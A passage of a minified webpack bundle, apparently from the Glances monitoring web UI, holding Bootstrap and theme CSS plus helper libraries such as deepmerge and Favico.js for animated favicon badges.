!important}.ps-xl-2{padding-left:.5rem !important}.ps-xl-3{padding-left:1rem !important}.ps-xl-4{padding-left:1.5rem !important}.ps-xl-5{padding-left:3rem !important}.gap-xl-0{gap:0 !important}.gap-xl-1{gap:.25rem !important}.gap-xl-2{gap:.5rem !important}.gap-xl-3{gap:1rem !important}.gap-xl-4{gap:1.5rem !important}.gap-xl-5{gap:3rem !important}.row-gap-xl-0{row-gap:0 !important}.row-gap-xl-1{row-gap:.25rem !important}.row-gap-xl-2{row-gap:.5rem !important}.row-gap-xl-3{row-gap:1rem !important}.row-gap-xl-4{row-gap:1.5rem !important}.row-gap-xl-5{row-gap:3rem !important}.column-gap-xl-0{column-gap:0 !important}.column-gap-xl-1{column-gap:.25rem !important}.column-gap-xl-2{column-gap:.5rem !important}.column-gap-xl-3{column-gap:1rem !important}.column-gap-xl-4{column-gap:1.5rem !important}.column-gap-xl-5{column-gap:3rem !important}.text-xl-start{text-align:left !important}.text-xl-end{text-align:right !important}.text-xl-center{text-align:center !important}}@media(min-width: 1400px){.float-xxl-start{float:left !important}.float-xxl-end{float:right !important}.float-xxl-none{float:none !important}.object-fit-xxl-contain{object-fit:contain !important}.object-fit-xxl-cover{object-fit:cover !important}.object-fit-xxl-fill{object-fit:fill !important}.object-fit-xxl-scale{object-fit:scale-down !important}.object-fit-xxl-none{object-fit:none !important}.d-xxl-inline{display:inline !important}.d-xxl-inline-block{display:inline-block !important}.d-xxl-block{display:block !important}.d-xxl-grid{display:grid !important}.d-xxl-inline-grid{display:inline-grid !important}.d-xxl-table{display:table !important}.d-xxl-table-row{display:table-row !important}.d-xxl-table-cell{display:table-cell !important}.d-xxl-flex{display:flex !important}.d-xxl-inline-flex{display:inline-flex !important}.d-xxl-none{display:none !important}.flex-xxl-fill{flex:1 1 auto !important}.flex-xxl-row{flex-direction:row !important}.flex-xxl-column{flex-direction:column !important}.flex-xxl-row-reverse{flex-direction:row-reverse !important}.flex-xxl-column-reverse{flex-direction:column-reverse !important}.flex-xxl-grow-0{flex-grow:0 !important}.flex-xxl-grow-1{flex-grow:1 !important}.flex-xxl-shrink-0{flex-shrink:0 !important}.flex-xxl-shrink-1{flex-shrink:1 !important}.flex-xxl-wrap{flex-wrap:wrap !important}.flex-xxl-nowrap{flex-wrap:nowrap !important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-xxl-start{justify-content:flex-start !important}.justify-content-xxl-end{justify-content:flex-end !important}.justify-content-xxl-center{justify-content:center !important}.justify-content-xxl-between{justify-content:space-between !important}.justify-content-xxl-around{justify-content:space-around !important}.justify-content-xxl-evenly{justify-content:space-evenly !important}.align-items-xxl-start{align-items:flex-start !important}.align-items-xxl-end{align-items:flex-end !important}.align-items-xxl-center{align-items:center !important}.align-items-xxl-baseline{align-items:baseline !important}.align-items-xxl-stretch{align-items:stretch !important}.align-content-xxl-start{align-content:flex-start !important}.align-content-xxl-end{align-content:flex-end !important}.align-content-xxl-center{align-content:center !important}.align-content-xxl-between{align-content:space-between !important}.align-content-xxl-around{align-content:space-around !important}.align-content-xxl-stretch{align-content:stretch !important}.align-self-xxl-auto{align-self:auto !important}.align-self-xxl-start{align-self:flex-start !important}.align-self-xxl-end{align-self:flex-end !important}.align-self-xxl-center{align-self:center !important}.align-self-xxl-baseline{align-self:baseline !important}.align-self-xxl-stretch{align-self:stretch !important}.order-xxl-first{order:-1 !important}.order-xxl-0{order:0 !important}.order-xxl-1{order:1 !important}.order-xxl-2{order:2 !important}.order-xxl-3{order:3 !important}.order-xxl-4{order:4 !important}.order-xxl-5{order:5 !important}.order-xxl-last{order:6 !important}.m-xxl-0{margin:0 !important}.m-xxl-1{margin:.25rem !important}.m-xxl-2{margin:.5rem !important}.m-xxl-3{margin:1rem !important}.m-xxl-4{margin:1.5rem !important}.m-xxl-5{margin:3rem !important}.m-xxl-auto{margin:auto !important}.mx-xxl-0{margin-right:0 !important;margin-left:0 !important}.mx-xxl-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-xxl-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-xxl-3{margin-right:1rem !important;margin-left:1rem !important}.mx-xxl-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-xxl-5{margin-right:3rem !important;margin-left:3rem !important}.mx-xxl-auto{margin-right:auto !important;margin-left:auto !important}.my-xxl-0{margin-top:0 !important;margin-bottom:0 !important}.my-xxl-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-xxl-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-xxl-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-xxl-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-xxl-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-xxl-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-xxl-0{margin-top:0 !important}.mt-xxl-1{margin-top:.25rem !important}.mt-xxl-2{margin-top:.5rem !important}.mt-xxl-3{margin-top:1rem !important}.mt-xxl-4{margin-top:1.5rem !important}.mt-xxl-5{margin-top:3rem !important}.mt-xxl-auto{margin-top:auto !important}.me-xxl-0{margin-right:0 !important}.me-xxl-1{margin-right:.25rem !important}.me-xxl-2{margin-right:.5rem !important}.me-xxl-3{margin-right:1rem !important}.me-xxl-4{margin-right:1.5rem !important}.me-xxl-5{margin-right:3rem !important}.me-xxl-auto{margin-right:auto !important}.mb-xxl-0{margin-bottom:0 !important}.mb-xxl-1{margin-bottom:.25rem !important}.mb-xxl-2{margin-bottom:.5rem !important}.mb-xxl-3{margin-bottom:1rem !important}.mb-xxl-4{margin-bottom:1.5rem !important}.mb-xxl-5{margin-bottom:3rem !important}.mb-xxl-auto{margin-bottom:auto !important}.ms-xxl-0{margin-left:0 !important}.ms-xxl-1{margin-left:.25rem !important}.ms-xxl-2{margin-left:.5rem !important}.ms-xxl-3{margin-left:1rem !important}.ms-xxl-4{margin-left:1.5rem !important}.ms-xxl-5{margin-left:3rem !important}.ms-xxl-auto{margin-left:auto !important}.p-xxl-0{padding:0 !important}.p-xxl-1{padding:.25rem !important}.p-xxl-2{padding:.5rem !important}.p-xxl-3{padding:1rem !important}.p-xxl-4{padding:1.5rem !important}.p-xxl-5{padding:3rem !important}.px-xxl-0{padding-right:0 !important;padding-left:0 !important}.px-xxl-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-xxl-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-xxl-3{padding-right:1rem !important;padding-left:1rem !important}.px-xxl-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-xxl-5{padding-right:3rem !important;padding-left:3rem !important}.py-xxl-0{padding-top:0 !important;padding-bottom:0 !important}.py-xxl-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-xxl-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-xxl-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-xxl-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-xxl-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-xxl-0{padding-top:0 !important}.pt-xxl-1{padding-top:.25rem !important}.pt-xxl-2{padding-top:.5rem !important}.pt-xxl-3{padding-top:1rem !important}.pt-xxl-4{padding-top:1.5rem !important}.pt-xxl-5{padding-top:3rem !important}.pe-xxl-0{padding-right:0 !important}.pe-xxl-1{padding-right:.25rem !important}.pe-xxl-2{padding-right:.5rem !important}.pe-xxl-3{padding-right:1rem !important}.pe-xxl-4{padding-right:1.5rem !important}.pe-xxl-5{padding-right:3rem !important}.pb-xxl-0{padding-bottom:0 !important}.pb-xxl-1{padding-bottom:.25rem !important}.pb-xxl-2{padding-bottom:.5rem !important}.pb-xxl-3{padding-bottom:1rem !important}.pb-xxl-4{padding-bottom:1.5rem !important}.pb-xxl-5{padding-bottom:3rem !important}.ps-xxl-0{padding-left:0 !important}.ps-xxl-1{padding-left:.25rem !important}.ps-xxl-2{padding-left:.5rem !important}.ps-xxl-3{padding-left:1rem !important}.ps-xxl-4{padding-left:1.5rem !important}.ps-xxl-5{padding-left:3rem !important}.gap-xxl-0{gap:0 !important}.gap-xxl-1{gap:.25rem !important}.gap-xxl-2{gap:.5rem !important}.gap-xxl-3{gap:1rem !important}.gap-xxl-4{gap:1.5rem !important}.gap-xxl-5{gap:3rem !important}.row-gap-xxl-0{row-gap:0 !important}.row-gap-xxl-1{row-gap:.25rem !important}.row-gap-xxl-2{row-gap:.5rem !important}.row-gap-xxl-3{row-gap:1rem !important}.row-gap-xxl-4{row-gap:1.5rem !important}.row-gap-xxl-5{row-gap:3rem !important}.column-gap-xxl-0{column-gap:0 !important}.column-gap-xxl-1{column-gap:.25rem !important}.column-gap-xxl-2{column-gap:.5rem !important}.column-gap-xxl-3{column-gap:1rem !important}.column-gap-xxl-4{column-gap:1.5rem !important}.column-gap-xxl-5{column-gap:3rem !important}.text-xxl-start{text-align:left !important}.text-xxl-end{text-align:right !important}.text-xxl-center{text-align:center !important}}@media(min-width: 1200px){.fs-1{font-size:2.5rem !important}.fs-2{font-size:2rem !important}.fs-3{font-size:1.75rem !important}.fs-4{font-size:1.5rem !important}}@media print{.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-grid{display:grid !important}.d-print-inline-grid{display:inline-grid !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:flex !important}.d-print-inline-flex{display:inline-flex !important}.d-print-none{display:none !important}}',\"\"]);const a=s},1304(t,e,r){\"use strict\";r.d(e,{A:()=>a});var n=r(1601),i=r.n(n),o=r(6314),s=r.n(o)()(i());s.push([t.id,':root,[data-bs-theme=dark]{--bs-body-bg: $glances-bg;--bs-body-color: $glances-fg;--bs-body-font-size: $glances-fonts-size}body{background-color:#000;color:#ccc;font-family:\"Lucida Sans Typewriter\",\"Lucida Console\",Monaco,\"Bitstream Vera Sans Mono\",monospace;font-size:14px;overflow:hidden}.title{font-weight:bold}.highlight{font-weight:bold !important;color:#5d4062 !important}.ok,.status,.process{color:#3e7b04 !important}.ok_log{background-color:#3e7b04 !important;color:#fff !important}.max{color:#3e7b04 !important;font-weight:bold !important}.careful{color:#295183 !important;font-weight:bold !important}.careful_log{background-color:#295183 !important;color:#fff !important;font-weight:bold !important}.warning,.nice{color:#5d4062 !important;font-weight:bold !important}.warning_log{background-color:#5d4062 !important;color:#fff !important;font-weight:bold !important}.critical{color:#a30000 !important;font-weight:bold !important}.critical_log{background-color:#a30000 !important;color:#fff !important;font-weight:bold !important}.error{color:#e60 !important;font-weight:bold !important}.error_log{background-color:#e60 !important;color:#fff !important;font-weight:bold !important}.container-fluid{margin-left:0px;margin-right:0px;padding-left:0px;padding-right:0px}.header{height:30px}.header-small{height:50px}.header-small>div:nth-child(1)>section:nth-child(1){margin-bottom:0em}.top-min{height:100px}.top-max{height:180px}.sidebar-min{overflow-y:auto;height:calc(100vh - 30px - 100px)}.sidebar-max{overflow-y:auto;height:calc(100vh - 30px - 180px)}.inline{display:inline-block}.table{margin-bottom:0px}.margin-top{margin-top:.5em}.margin-bottom{margin-bottom:.5em}.table-sm>:not(caption)>*>*{padding-top:0em;padding-right:.25rem;padding-bottom:0em;padding-left:.25rem}.sort{font-weight:bold;color:#fff}.sortable{cursor:pointer;text-decoration:underline}.text-truncate{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#browser .table-hover tbody tr:hover td{background:#57cb6a}.plugin{margin-bottom:1em}.button{color:#9cf;background:rgba(0,0,0,.4);border:1px solid #9cf;padding:1px 5px;border-radius:5px;letter-spacing:1px;cursor:pointer;transition:all .2s ease-in-out;position:relative;overflow:hidden}.button:hover{background:rgba(183,214,255,.3);border-color:#b0d0ff;color:#b0d0ff}.button:active{transform:scale(0.95);box-shadow:0 0 8px rgba(153,204,255,.5)}.frequency{display:inline-block;width:8em}#system span{padding-left:10px}#system span:nth-child(1){padding-left:0px}#ip span{padding-left:10px}#quicklook span{padding:0;margin:0;padding-left:10px}#quicklook span:nth-child(1){padding-left:0px}#quicklook *>th,#quicklook td{margin:0;padding:0}#quicklook *>th:nth-child(1),#quicklook td:nth-child(1){width:4em}#quicklook *>th:nth-last-child(1),#quicklook td:nth-last-child(1){width:4em}#quicklook *>td span{display:inline-block;width:4em}#quicklook .progress{min-width:100px;background-color:#000;height:1.5em;border-radius:0px;text-align:right}#quicklook .progress-bar-ok{background-color:#3e7b04}#quicklook .progress-bar-careful{background-color:#295183}#quicklook .progress-bar-warning{background-color:#5d4062}#quicklook .progress-bar-critical{background-color:#a30000}#quicklook .cpu-name{white-space:nowrap;overflow:hidden;width:100%;text-overflow:ellipsis}#cpu *>td span{display:inline-block;width:4em}#npu *>td span{display:inline-block;width:4em}#gpu *>td span{display:inline-block;width:4em}#mem *>td span{display:inline-block;width:4em}#memswap *>td span{display:inline-block;width:4em}#load *>td span{display:inline-block;width:3em}#vms span{padding-left:10px}#vms span:nth-child(1){padding-left:0px}#vms .table{margin-bottom:1em}#vms *>th:not(:last-child),#vms td:not(:last-child){width:5em}#vms *>td:nth-child(2){width:15em}#vms *>td:nth-child(3){width:6em}#vms *>td:nth-child(6){text-align:right}#vms *>td:nth-child(8){width:10em}#vms *>td:nth-child(7),#vms td:nth-child(8),#vms td:nth-child(9){text-overflow:ellipsis;white-space:nowrap}#containers span{padding-left:10px}#containers span:nth-child(1){padding-left:0px}#containers .table{margin-bottom:1em}#containers *>td:not(:last-child){width:5em}#containers *>td:nth-child(1){width:10em}#containers *>td:nth-child(2),#containers td:nth-child(3){width:15em}#containers *>td:nth-child(3){white-space:nowrap;overflow:hidden}#containers *>td:nth-child(4){width:6em}#containers *>td:nth-child(5){width:10em;text-overflow:ellipsis;white-space:nowrap}#containers *>td:nth-child(7),#containers td:nth-child(9),#containers td:nth-child(11){text-align:right}#containers *>td:nth-child(13){text-align:left;text-overflow:ellipsis;white-space:nowrap}#processcount span{padding-left:10px}#processcount span:nth-child(1){padding-left:0px}#processcount{margin-bottom:0px}#amps .process-result{max-width:300px;overflow:hidden;white-space:pre-wrap;padding-left:10px;text-overflow:ellipsis}#amps .table{margin-bottom:1em}#amps *>td:nth-child(8){text-overflow:ellipsis;white-space:nowrap}#processlist div.extendedstats{margin-bottom:1em;margin-top:1em}#processlist div.extendedstats div span:not(:last-child){margin-right:1em}#processlist{overflow-y:auto;height:600px;margin-top:1em}#processlist .table{margin-bottom:1em}#processlist .table-hover tbody tr:hover td{background:#57cb6a}#processlist *>td:nth-child(-n+12){width:5em}#processlist *>td:nth-child(5),#processlist td:nth-child(7),#processlist td:nth-child(9),#processlist td:nth-child(11){text-align:right}#processlist *>td:nth-child(6){text-overflow:ellipsis;white-space:nowrap;width:6em}#processlist *>td:nth-child(7){width:6em}#processlist *>td:nth-child(9),#processlist td:nth-child(10){width:2em}#processlist *>td:nth-child(13),#processlist td:nth-child(14){text-overflow:ellipsis;white-space:nowrap}#alerts span{padding-left:10px}#alerts span:nth-child(1){padding-left:0px}#alerts *>td:nth-child(1){width:20em}#browser table{margin-top:1em}',\"\"]);const a=s},6314(t){\"use strict\";t.exports=function(t){var e=[];return e.toString=function(){return this.map(function(e){var r=\"\",n=void 0!==e[5];return e[4]&&(r+=\"@supports (\".concat(e[4],\") {\")),e[2]&&(r+=\"@media \".concat(e[2],\" {\")),n&&(r+=\"@layer\".concat(e[5].length>0?\" \".concat(e[5]):\"\",\" {\")),r+=t(e),n&&(r+=\"}\"),e[2]&&(r+=\"}\"),e[4]&&(r+=\"}\"),r}).join(\"\")},e.i=function(t,r,n,i,o){\"string\"==typeof t&&(t=[[null,t,void 0]]);var s={};if(n)for(var a=0;a<this.length;a++){var l=this[a][0];null!=l&&(s[l]=!0)}for(var c=0;c<t.length;c++){var u=[].concat(t[c]);n&&s[u[0]]||(void 0!==o&&(void 0===u[5]||(u[1]=\"@layer\".concat(u[5].length>0?\" \".concat(u[5]):\"\",\" {\").concat(u[1],\"}\")),u[5]=o),r&&(u[2]?(u[1]=\"@media \".concat(u[2],\" {\").concat(u[1],\"}\"),u[2]=r):u[2]=r),i&&(u[4]?(u[1]=\"@supports (\".concat(u[4],\") {\").concat(u[1],\"}\"),u[4]=i):u[4]=\"\".concat(i)),e.push(u))}},e}},1601(t){\"use strict\";t.exports=function(t){return t[1]}},4744(t){\"use strict\";var e=function(t){return function(t){return!!t&&\"object\"==typeof t}(t)&&!function(t){var e=Object.prototype.toString.call(t);return\"[object RegExp]\"===e||\"[object Date]\"===e||function(t){return t.$$typeof===r}(t)}(t)};var r=\"function\"==typeof Symbol&&Symbol.for?Symbol.for(\"react.element\"):60103;function n(t,e){return!1!==e.clone&&e.isMergeableObject(t)?l((r=t,Array.isArray(r)?[]:{}),t,e):t;var r}function i(t,e,r){return t.concat(e).map(function(t){return n(t,r)})}function o(t){return Object.keys(t).concat(function(t){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(t).filter(function(e){return Object.propertyIsEnumerable.call(t,e)}):[]}(t))}function s(t,e){try{return e in t}catch(t){return!1}}function a(t,e,r){var i={};return r.isMergeableObject(t)&&o(t).forEach(function(e){i[e]=n(t[e],r)}),o(e).forEach(function(o){(function(t,e){return s(t,e)&&!(Object.hasOwnProperty.call(t,e)&&Object.propertyIsEnumerable.call(t,e))})(t,o)||(s(t,o)&&r.isMergeableObject(e[o])?i[o]=function(t,e){if(!e.customMerge)return l;var r=e.customMerge(t);return\"function\"==typeof r?r:l}(o,r)(t[o],e[o],r):i[o]=n(e[o],r))}),i}function l(t,r,o){(o=o||{}).arrayMerge=o.arrayMerge||i,o.isMergeableObject=o.isMergeableObject||e,o.cloneUnlessOtherwiseSpecified=n;var s=Array.isArray(r);return s===Array.isArray(t)?s?o.arrayMerge(t,r,o):a(t,r,o):n(r,o)}l.all=function(t,e){if(!Array.isArray(t))throw new Error(\"first argument should be an array\");return t.reduce(function(t,r){return l(t,r,e)},{})};var c=l;t.exports=c},5413(t,e){\"use strict\";var r;Object.defineProperty(e,\"__esModule\",{value:!0}),e.Doctype=e.CDATA=e.Tag=e.Style=e.Script=e.Comment=e.Directive=e.Text=e.Root=e.isTag=e.ElementType=void 0,function(t){t.Root=\"root\",t.Text=\"text\",t.Directive=\"directive\",t.Comment=\"comment\",t.Script=\"script\",t.Style=\"style\",t.Tag=\"tag\",t.CDATA=\"cdata\",t.Doctype=\"doctype\"}(r=e.ElementType||(e.ElementType={})),e.isTag=function(t){return t.type===r.Tag||t.type===r.Script||t.type===r.Style},e.Root=r.Root,e.Text=r.Text,e.Directive=r.Directive,e.Comment=r.Comment,e.Script=r.Script,e.Style=r.Style,e.Tag=r.Tag,e.CDATA=r.CDATA,e.Doctype=r.Doctype},2834(t){\"use strict\";t.exports=t=>{if(\"string\"!=typeof t)throw new TypeError(\"Expected a string\");return t.replace(/[|\\\\{}()[\\]^$+*?.]/g,\"\\\\$&\").replace(/-/g,\"\\\\x2d\")}},4644(t,e){var r,n;\n/**\n * @license MIT\n * @fileOverview Favico animations\n * @author Miroslav Magda, http://blog.ejci.net\n * @version 0.3.10\n */n=function(t){\"use strict\";t=t||{};var e,r,n,i,o,s,a,l,c,u,d,p,m,h,g,f,b={bgColor:\"#d00\",textColor:\"#fff\",fontFamily:\"sans-serif\",fontStyle:\"bold\",type:\"circle\",position:\"down\",animation:\"slide\",elementId:!1,dataUrl:!1,win:window};(m={}).ff=\"undefined\"!=typeof InstallTrigger,m.chrome=!!window.chrome,m.opera=!!window.opera||navigator.userAgent.indexOf(\"Opera\")>=0,m.ie=/*@cc_on!@*/!1,m.safari=Object.prototype.toString.call(window.HTMLElement).indexOf(\"Constructor\")>0,m.supported=m.chrome||m.ff||m.opera;var A=[];d=function(){},l=p=!1;var y={ready:function(){l=!0,y.reset(),d()},reset:function(){l&&(A=[],c=!1,u=!1,s.clearRect(0,0,i,n),s.drawImage(a,0,0,i,n),_.setIcon(o),window.clearTimeout(h),window.clearTimeout(g))},start:function(){if(l&&!u&&A.length>0){u=!0;var t=function(){[\"type\",\"animation\",\"bgColor\",\"textColor\",\"fontFamily\",\"fontStyle\"].forEach(function(t){t in A[0].options&&(e[t]=A[0].options[t])}),I.run(A[0].options,function(){c=A[0],u=!1,A.length>0&&(A.shift(),y.start())},!1)};c?I.run(c.options,function(){t()},!0):t()}}},v={},x=function(t){return t.n=\"number\"==typeof t.n?Math.abs(0|t.n):t.n,t.x=i*t.x,t.y=n*t.y,t.w=i*t.w,t.h=n*t.h,t.len=(\"\"+t.n).length,t};function w(t){if(t.paused||t.ended||p)return!1;try{s.clearRect(0,0,i,n),s.drawImage(t,0,0,i,n)}catch(t){}g=setTimeout(function(){w(t)},I.duration),_.setIcon(o)}v.circle=function(t){var r=!1;2===(t=x(t)).len?(t.x=t.x-.4*t.w,t.w=1.4*t.w,r=!0):t.len>=3&&(t.x=t.x-.65*t.w,t.w=1.65*t.w,r=!0),s.clearRect(0,0,i,n),s.drawImage(a,0,0,i,n),s.beginPath(),s.font=e.fontStyle+\" \"+Math.floor(t.h*(t.n>99?.85:1))+\"px \"+e.fontFamily,s.textAlign=\"center\",r?(s.moveTo(t.x+t.w/2,t.y),s.lineTo(t.x+t.w-t.h/2,t.y),s.quadraticCurveTo(t.x+t.w,t.y,t.x+t.w,t.y+t.h/2),s.lineTo(t.x+t.w,t.y+t.h-t.h/2),s.quadraticCurveTo(t.x+t.w,t.y+t.h,t.x+t.w-t.h/2,t.y+t.h),s.lineTo(t.x+t.h/2,t.y+t.h),s.quadraticCurveTo(t.x,t.y+t.h,t.x,t.y+t.h-t.h/2),s.lineTo(t.x,t.y+t.h/2),s.quadraticCurveTo(t.x,t.y,t.x+t.h/2,t.y)):s.arc(t.x+t.w/2,t.y+t.h/2,t.h/2,0,2*Math.PI),s.fillStyle=\"rgba(\"+e.bgColor.r+\",\"+e.bgColor.g+\",\"+e.bgColor.b+\",\"+t.o+\")\",s.fill(),s.closePath(),s.beginPath(),s.stroke(),s.fillStyle=\"rgba(\"+e.textColor.r+\",\"+e.textColor.g+\",\"+e.textColor.b+\",\"+t.o+\")\",\"number\"==typeof t.n&&t.n>999?s.fillText((t.n>9999?9:Math.floor(t.n/1e3))+\"k+\",Math.floor(t.x+t.w/2),Math.floor(t.y+t.h-.2*t.h)):s.fillText(t.n,Math.floor(t.x+t.w/2),Math.floor(t.y+t.h-.15*t.h)),s.closePath()},v.rectangle=function(t){2===(t=x(t)).len?(t.x=t.x-.4*t.w,t.w=1.4*t.w):t.len>=3&&(t.x=t.x-.65*t.w,t.w=1.65*t.w),s.clearRect(0,0,i,n),s.drawImage(a,0,0,i,n),s.beginPath(),s.font=e.fontStyle+\" \"+Math.floor(t.h*(t.n>99?.9:1))+\"px \"+e.fontFamily,s.textAlign=\"center\",s.fillStyle=\"rgba(\"+e.bgColor.r+\",\"+e.bgColor.g+\",\"+e.bgColor.b+\",\"+t.o+\")\",s.fillRect(t.x,t.y,t.w,t.h),s.fillStyle=\"rgba(\"+e.textColor.r+\",\"+e.textColor.g+\",\"+e.textColor.b+\",\"+t.o+\")\",\"number\"==typeof t.n&&t.n>999?s.fillText((t.n>9999?9:Math.floor(t.n/1e3))+\"k+\",Math.floor(t.x+t.w/2),Math.floor(t.y+t.h-.2*t.h)):s.fillText(t.n,Math.floor(t.x+t.w/2),Math.floor(t.y+t.h-.15*t.h)),s.closePath()};var _={};function k(t){t=t.replace(/^#?([a-f\\d])([a-f\\d])([a-f\\d])$/i,function(t,e,r,n){return e+e+r+r+n+n});var e=/^#?([a-f\\d]{2})([a-f\\d]{2})([a-f\\d]{2})$/i.exec(t);return!!e&&{r:parseInt(e[1],16),g:parseInt(e[2],16),b:parseInt(e[3],16)}}function C(t,e){var r,n={};for(r in t)n[r]=t[r];for(r in e)n[r]=e[r];return n}_.getIcon=function(){var t=!1;return e.element?t=e.element:e.elementId?(t=f.getElementById(e.elementId)).setAttribute(\"href\",t.getAttribute(\"src\")):(t=function(){for(var t=f.getElementsByTagName(\"head\")[0].getElementsByTagName(\"link\"),e=t.length-1;e>=0;e--)if(/(^|\\s)icon(\\s|$)/i.test(t[e].getAttribute(\"rel\")))return t[e];return!1}(),!1===t&&((t=f.createElement(\"link\")).setAttribute(\"rel\",\"icon\"),f.getElementsByTagName(\"head\")[0].appendChild(t))),t.setAttribute(\"type\",\"image/png\"),t},_.setIcon=function(t){var n=t.toDataURL(\"image/png\");if(e.dataUrl&&e.dataUrl(n),e.element)e.element.setAttribute(\"href\",n),e.element.setAttribute(\"src\",n);else if(e.elementId){var i=f.getElementById(e.elementId);i.setAttribute(\"href\",n),i.setAttribute(\"src\",n)}else if(m.ff||m.opera){var o=r;r=f.createElement(\"link\"),m.opera&&r.setAttribute(\"rel\",\"icon\"),r.setAttribute(\"rel\",\"icon\"),r.setAttribute(\"type\",\"image/png\"),f.getElementsByTagName(\"head\")[0].appendChild(r),r.setAttribute(\"href\",n),o.parentNode&&o.parentNode.removeChild(o)}else r.setAttribute(\"href\",n)};var I={duration:40,types:{}};return I.types.fade=[{x:.4,y:.4,w:.6,h:.6,o:0},{x:.4,y:.4,w:.6,h:.6,o:.1},{x:.4,y:.4,w:.6,h:.6,o:.2},{x:.4,y:.4,w:.6,h:.6,o:.3},{x:.4,y:.4,w:.6,h:.6,o:.4},{x:.4,y:.4,w:.6,h:.6,o:.5},{x:.4,y:.4,w:.6,h:.6,o:.6},{x:.4,y:.4,w:.6,h:.6,o:.7},{x:.4,y:.4,w:.6,h:.6,o:.8},{x:.4,y:.4,w:.6,h:.6,o:.9},{x:.4,y:.4,w:.6,h:.6,o:1}],I.types.none=[{x:.4,y:.4,w:.6,h:.6,o:1}],I.types.pop=[{x:1,y:1,w:0,h:0,o:1},{x:.9,y:.9,w:.1,h:.1,o:1},{x:.8,y:.8,w:.2,h:.2,o:1},{x:.7,y:.7,w:.3,h:.3,o:1},{x:.6,y:.6,w:.4,h:.4,o:1},{x:.5,y:.5,w:.5,h:.5,o:1},{x:.4,y:.4,w:.6,h:.6,o:1}],I.types.popFade=[{x:.75,y:.75,w:0,h:0,o:0},{x:.65,y:.65,w:.1,h:.1,o:.2},{x:.6,y:.6,w:.2,h:.2,o:.4},{x:.55,y:.55,w:.3,h:.3,o:.6},{x:.5,y:.5,w:.4,h:.4,o:.8},{x:.45,y:.45,w:.5,h:.5,o:.9},{x:.4,y:.4,w:.6,h:.6,o:1}],I.types.slide=[{x:.4,y:1,w:.6,h:.6,o:1},{x:.4,y:.9,w:.6,h:.6,o:1},{x:.4,y:.9,w:.6,h:.6,o:1},{x:.4,y:.8,w:.6,h:.6,o:1},{x:.4,y:.7,w:.6,h:.6,o:1},{x:.4,y:.6,w:.6,h:.6,o:1},{x:.4,y:.5,w:.6,h:.6,o:1},{x:.4,y:.4,w:.6,h:.6,o:1}],I.run=function(t,r,n,i){var s=I.types[f.hidden||f.msHidden||f.webkitHidden||f.mozHidden?\"none\":e.animation];i=!0===n?void 0!==i?i:s.length-1:void 0!==i?i:0,r=r||function(){},i<s.length&&i>=0?(v[e.type](C(t,s[i])),h=setTimeout(function(){n?i-=1:i+=1,I.run(t,r,n,i)},I.duration),_.setIcon(o)):r()},function(){(e=C(b,t)).bgColor=k(e.bgColor),e.textColor=k(e.textColor),e.position=e.position.toLowerCase(),e.animation=I.types[\"\"+e.animation]?e.animation:b.animation,f=e.win.document;var l=e.position.indexOf(\"up\")>-1,c=e.position.indexOf(\"left\")>-1;if(l||c)for(var u=0;u<I.types[\"\"+e.animation].length;u++){var d=I.types[\"\"+e.animation][u];l&&(d.y<.6?d.y=d.y-.4:d.y=d.y-2*d.y+(1-d.w)),c&&(d.x<.6?d.x=d.x-.4:d.x=d.x-2*d.x+(1-d.h)),I.types[\"\"+e.animation][u]=d}e.type=v[\"\"+e.type]?e.type:b.type,r=_.getIcon(),o=document.createElement(\"canvas\"),a=document.createElement(\"img\"),r.hasAttribute(\"href\")?(a.setAttribute(\"crossOrigin\",\"anonymous\"),a.onload=function(){n=a.height>0?a.height:32,i=a.width>0?a.width:32,o.height=n,o.width=i,s=o.getContext(\"2d\"),y.ready()},a.setAttribute(\"src\",r.getAttribute(\"href\"))):(a.onload=function(){n=32,i=32,a.height=n,a.width=i,o.height=n,o.width=i,s=o.getContext(\"2d\"),y.ready()},a.setAttribute(\"src\",\"\"))}(),{badge:function(t,e){e=(\"string\"==typeof e?{animation:e}:e)||{},d=function(){try{if(\"number\"==typeof t?t>0:\"\"!==t){var r={type:\"badge\",options:{n:t}};if(\"animation\"in e&&I.types[\"\"+e.animation]&&(r.options.animation=\"\"+e.animation),\"type\"in e&&v[\"\"+e.type]&&(r.options.type=\"\"+e.type),[\"bgColor\",\"textColor\"].forEach(function(t){t in e&&(r.options[t]=k(e[t]))}),[\"fontStyle\",\"fontFamily\"].forEach(function(t){t in e&&(r.options[t]=e[t])}),A.push(r),A.length>100)throw new Error(\"Too many badges requests in queue.\");y.start()}else y.reset()}catch(t){throw new Error(\"Error setting badge. Message: \"+t.message)}},l&&d()},video:function(t){d=function(){try{if(\"stop\"===t)return p=!0,y.reset(),void(p=!1);t.addEventListener(\"play\",function(){w(this)},!1)}catch(t){throw new Error(\"Error setting video. Message: \"+t.message)}},l&&d()},image:function(t){d=function(){try{var e=t.width,r=t.height,a=document.createElement(\"img\"),l=e/i<r/n?e/i:r/n;a.setAttribute(\"crossOrigin\",\"anonymous\"),a.onload=function(){s.clearRect(0,0,i,n),s.drawImage(a,0,0,i,n),_.setIcon(o)},a.setAttribute(\"src\",t.getAttribute(\"src\")),a.height=r/l,a.width=e/l}catch(t){throw new Error(\"Error setting image. Message: 